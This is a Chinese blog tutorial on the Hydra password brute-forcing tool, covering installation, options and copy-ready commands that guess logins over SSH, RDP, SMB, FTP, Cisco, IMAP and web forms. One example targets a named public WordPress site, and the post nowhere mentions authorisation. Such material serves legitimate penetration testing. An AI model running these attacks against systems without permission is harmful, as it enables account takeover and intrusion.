开源的暴力密码破解神器 - hydra

xiannv  2338天前

一、简介


hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。

timg.jpg

官网:http://www.thc.org/thc-hydra

可支持破解密码类型:AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等。

二、安装


1.下载
https://www.thc.org/releases/hydra-8.3.tar.gz

2.安装依赖包
如果是Debian和Ubuntu发行版,yum源里自带hydra,我们直接用apt-get在线安装。

# apt-get -y install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev hydra gcc 

对于Redhat/Centos/Fedora发行版,我们需要下载源码包,然后编译安装,因此先安装相关依赖包

# yum -y install openssl-devel  pcre-devel  ncpfs-devel postgresql-devel libssh-devel  subversion-devel  gcc

3.编译安装hydra

# tar zxvf hydra-8.3.tar.gz 

# cd hydra-8.3

# ./configure --prefix=/path/to/hydra

# make && make install

参数:

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16
-w TIME 设置最大超时的时间,单位秒,默认是30s
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
OPT 可选项

三、使用方法


1.语法

# hydra  [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] 
[-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][OPT]]

2.其他类型密码破解

  • 破解ssh的密码
# hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
  • 破解https:
# hydra -m /index.php -l username -P pass.txt IP https
  • 破解teamspeak:
# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
  • 破解cisco:
# hydra -P pass.txt IP cisco

# hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
  • 破解smb:
# hydra -l administrator -P pass.txt IP smb
  • 破解pop3:
# hydra -l muts -P pass.txt my.pop3.mail pop3
  • 破解rdp:
# hydra IP rdp -l administrator -P pass.txt -V
  • 破解http-proxy:
# hydra -l admin -P pass.txt http-proxy://10.36.16.18
  • 破解telnet
# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
  • 破解ftp:
# hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV

# hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV
  • get方式提交,破解web登录:
# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/

# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php
  • post方式提交,破解web登录:
# hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"
# hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password"
(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标iphttp-post-form表示破解是采用httppost方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)
  • 破解imap:
# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
# hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果

四、实例


实例1. 假设有一个密码登录表单,我们执行命令:

# hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “/index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>

说明:admin是破解的用户名,pass.lst是密码字典,ok.lst是保存破解结果的文件,-t 是同时线程数为1,-f 是当破解了一个密码就停止,ip 是本地,就是破解目标ip,http-post-form表示破解是采用http 的post 方式提交的表单密码破解,中的内容是表示错误猜解的返回信息提示,可以自定义。

实例2. 爆破wordpress:

# hydra -L user.txt -P /Users/hacked/Desktop/133232.txt -o /users/hacked/123.txt -t 10 -f www.sysshell.com http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:login_error"

五、常见问题


1.运行hydra时可能会出现错误

[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!

原因:系统没有安装libssh库

解决方法:从 https://red.libssh.org/projects/libssh/files下载libssh-0.7.3.tar.xz,解压安装。

# tar xf libssh-0.7.3.tar.xz

# cd libssh-0.7.3

# mkdir build

# cd build

# cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..

# make

# make install

接着,重新编译安装hydra

2.ld提示找不到库文件

hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file or directory

原因:链接器ld默认的目录是/lib和/usr/lib,如果放在其他路径也可以,需要让ld知道库文件在哪里

解决方法:

# find / -name libssh.so.4
  /usr/lib/libssh.so.4

# vim /etc/ld.so.conf.d/usr-libs.conf   //写入libssh.so.4 所在路径
  /usr/lib  

# ldconfig

最新评论

昵称
邮箱
提交评论